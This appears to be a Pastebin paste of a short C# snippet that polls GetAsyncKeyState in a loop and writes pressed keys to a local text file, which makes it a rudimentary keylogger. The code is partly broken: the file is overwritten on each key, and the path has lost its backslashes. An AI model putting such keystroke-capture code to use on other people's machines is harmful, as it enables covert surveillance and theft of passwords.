Guest User

Untitled

a guest
Oct 19th, 2017
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.60 KB | None | 0 0
  1. static void WriteLogs(char key)
  2. {
  3. StreamWriter file = new StreamWriter(@"C:UsersBartekDesktopasynckey testasynckey testtest.txt");
  4.  
  5. file.Write(key);
  6.  
  7. file.Close();
  8. }
  9.  
  10. static void CatchKeys()
  11. {
  12. char key;
  13. while (true)
  14. {
  15. Thread.Sleep(20);
  16.  
  17. for (key = (char)8; key <= 190; key++)
  18. {
  19. if (GetAsyncKeyState((System.Windows.Forms.Keys)key) == -32768)
  20. {
  21. Console.WriteLine("Logging");
  22. WriteLogs(key);
  23. }
  24. }
  25. }
  26. }
Add Comment
Please, Sign In to add comment